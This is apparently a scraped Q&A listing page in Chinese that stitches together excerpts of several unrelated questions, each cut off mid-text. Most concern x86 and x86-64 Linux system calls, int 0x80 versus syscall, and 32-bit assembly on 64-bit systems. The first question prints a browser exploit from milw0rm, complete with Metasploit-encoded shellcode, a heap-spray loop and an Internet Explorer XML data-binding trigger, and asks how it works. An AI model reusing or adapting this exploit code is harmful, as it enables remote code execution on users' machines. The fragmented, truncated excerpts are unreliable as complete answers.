我通常没有阅读JavaScript脚本的困难,但这个我无法弄清楚逻辑.该代码来自于4天前发布的漏洞利用程序.你可以在milw0rm找到它.
这是代码:
<html>
<div id="replace">x</div>
<script>
// windows/exec - 148 bytes
// http://www.metasploit.com
// Encoder: x86/shikata_ga_nai
// EXITFUNC=process, CMD=calc.exe
var shellcode = unescape("%uc92b%u1fb1%u0cbd%uc536%udb9b%ud9c5%u2474%u5af4%uea83%u31fc%u0b6a%u6a03%ud407%u6730%u5cff%u98bb%ud7ff%ua4fe%u9b74%uad05%u8b8b%u028d%ud893%ubccd%u35a2%u37b8%u4290%ua63a%u94e9%u9aa4%ud58d%ue5a3%u1f4c%ueb46%u4b8c%ud0ad%ua844%u524a%u3b81%ub80d%ud748%u4bd4%u6c46%u1392%u734a%u204f%uf86e%udc8e%ua207%u26b4%u04d4%ud084%uecba%u9782%u217c%ue8c0%uca8c%uf4a6%u4721%u0d2e%ua0b0%ucd2c%u00a8%ub05b%u43f4%u24e8%u7a9c%ubb85%u7dcb%ua07d%ued92%u09e1%u9631%u5580");
// ugly heap spray, the d0nkey way!
// works most of the time
var spray = unescape("%u0a0a%u0a0a");
do {
spray += spray;
} while(spray.length < 0xd0000);
memory = new Array();
for(i = 0; i < 100; i++)
memory[i] = spray + shellcode;
xmlcode = "<XML ID=I><X><C><![CDATA[<image SRC=http://ਊਊ.example.com>]]></C></X></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML><XML ID=I></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN></SPAN>";
tag …Run Code Online (Sandbox Code Playgroud) 以下链接解释了UNIX(BSD风格)和Linux的x86-32系统调用约定:
但是UNIX和Linux上的x86-64系统调用约定是什么?
我研究Linux内核并发现,对于int 0x80体系结构,中断syscall不能用于调用系统调用.
问题是:在int 0x80架构的情况下什么是更可取的int 0x80或syscall为什么?
编辑:我使用内核3.4
我是汇编编程的新手,在GNU汇编程序v2.20.1的Ubuntu x86_64桌面上使用Programming Ground Up.
我已经能够组装/链接执行我的代码,直到我使用pushl/popl指令来操作堆栈.以下代码无法汇编:
.section .data # empty
.section .text
.globl _start
_start:
pushl $1 # push the value 1 onto the stack
popl %eax # pop 1 off the stack and into the %eax register
int $0x80 # exit the program with exit code '1'
Run Code Online (Sandbox Code Playgroud)
使用"as test.s -o test.o",这些错误出现在终端上并且未创建test.o:
test.s: Assembler messages:
test.s:9: Error: suffix or operands invalid for 'push'
test.s:10: Error: suffix or operands invalid for 'popl'
Run Code Online (Sandbox Code Playgroud)
我检查了文档,我用于pushl和popl的操作数是有效的.这不是一个调试问题 - 所以我的代码出了什么问题?或者是我的汇编程序?
我正在阅读x86和x64之间的汇编差异.
在x86上,系统调用号被放入eax,然后int 80h执行以生成软件中断.
但是在x64上,系统调用号被放入rax,然后syscall被执行.
我被告知,syscall它比生成软件中断更轻,更快.
为什么它在x64上比x86更快,我可以使用x64进行系统调用int 80h吗?
我目前正在学习Linux上的汇编语言.我一直在使用"从头开始编程"一书,所有的例子都是32位的.我的操作系统是64位,我一直在尝试以64位的方式完成所有示例.我遇到了麻烦:
.section .data
.section .text
.global _start
_start:
movq $60, %rax
movq $2, %rbx
int $0x80
Run Code Online (Sandbox Code Playgroud)
这只是调用Linux退出系统调用或它应该.相反,它会导致SEG FAULT,而当我改为执行此操作时
.section .data
.section .text
.global _start
_start:
movq $1, %rax
movq $2, %rbx
int $0x80
Run Code Online (Sandbox Code Playgroud)
有用.显然,问题是我转向%rax的价值.我在第二个例子中使用的$ 1值是"从头开始编程"所说的,但互联网上有多个来源说64位系统呼叫号码是60美元.参考 我做错了什么?还应该注意哪些其他问题以及我应该使用什么作为参考?万一你需要知道,我在第5章"从头开始编程".
我试图通过assmbly中的堆栈研究将参数传递给函数.我正在使用Fedora 20,64位系统.
当我尝试以下代码时,
pushl%ebp
popl%ebp
我得到错误,错误:"推"的无效指令后缀
我将如何克服这个错误!
我编译它,如-ggstabs -o Function_Stack.o Function_Stack.c
我遇到了一个有趣的问题.我忘了我正在使用64位机器和操作系统并写了一个32位汇编代码.我不知道如何编写64位代码.
这是Linux上Gnu Assembler(AT&T语法)的x86 32位汇编代码.
//hello.S
#include <asm/unistd.h>
#include <syscall.h>
#define STDOUT 1
.data
hellostr:
.ascii "hello wolrd\n";
helloend:
.text
.globl _start
_start:
movl $(SYS_write) , %eax //ssize_t write(int fd, const void *buf, size_t count);
movl $(STDOUT) , %ebx
movl $hellostr , %ecx
movl $(helloend-hellostr) , %edx
int $0x80
movl $(SYS_exit), %eax //void _exit(int status);
xorl %ebx, %ebx
int $0x80
ret
Run Code Online (Sandbox Code Playgroud)
现在,这个代码应该在32位处理器和32位操作系统上正常运行吗?我们知道64位处理器向后兼容32位处理器.所以,这也不是问题.问题出现是因为64位操作系统和32位操作系统中的系统调用和调用机制不同.我不知道为什么但是他们改变了32位linux和64位linux之间的系统调用号码.
asm/unistd_32.h定义:
#define __NR_write 4
#define __NR_exit 1
Run Code Online (Sandbox Code Playgroud)
asm/unistd_64.h定义:
#define __NR_write 1
#define __NR_exit 60
Run Code Online (Sandbox Code Playgroud)
无论如何使用宏而不是直接数字都可以获得回报.它确保正确的系统呼叫号码.
当我组装和链接并运行程序时.
$cpp hello.S hello.s …Run Code Online (Sandbox Code Playgroud) 当我尝试执行gcc -m32 main.c -o main在Windows子系统Linux上编译的32位文件时,我收到以下错误:bash: ./main: cannot execute binary file: Exec format error.
如果我编译它没有 -m32它运行.
在WSL上运行32位可执行文件的任何解决方案?
谢谢.
executable gcc 32-bit executable-format windows-subsystem-for-linux
这可能完全重复 是否可以通过模式切换在64位进程中执行32位代码?,但这个问题是从一年前开始的,只有一个答案没有给出任何源代码.我希望得到更详细的答案.
我正在运行64位Linux(Ubuntu 12.04,如果重要的话).这里有一些代码可以分配页面,将一些64位代码写入其中,然后执行该代码.
#include <assert.h>
#include <malloc.h>
#include <stdio.h>
#include <sys/mman.h> // mprotect
#include <unistd.h> // sysconf
unsigned char test_function[] = { 0xC3 }; // RET
int main()
{
int pagesize = sysconf(_SC_PAGE_SIZE);
unsigned char *buffer = memalign(pagesize, pagesize);
void (*func)() = (void (*)())buffer;
memcpy(buffer, test_function, sizeof test_function);
// func(); // will segfault
mprotect(buffer, pagesize, PROT_EXEC);
func(); // works fine
}
Run Code Online (Sandbox Code Playgroud)
现在,纯粹是为了娱乐价值,我想做同样的事情,但buffer包含任意32位(ia32)代码,而不是64位代码.此页面意味着您可以通过将CS段描述符的位设置为"长兼容性子模式"来在64位处理器上执行32位代码LMA=1, L=0, D=1.我愿意将我的32位代码包装在执行此设置的序言/结尾中.
但我可以在Linux中以usermode进行此设置吗?(BSD/Darwin的答案也将被接受.)这是我开始对这些概念感到朦胧的地方.我认为解决方案涉及向GDT添加新的段描述符(或者是LDT?),然后通过lcall指令切换到该段.但是所有这些都可以在usermode中完成吗?
这是一个示例函数,在兼容性子模式下成功运行时应返回4,在长模式下运行时应返回8.我的目标是获取指令指针以获取此代码路径并从另一端出来%rax=4,而不会进入内核模式(或仅通过记录的系统调用执行此操作). …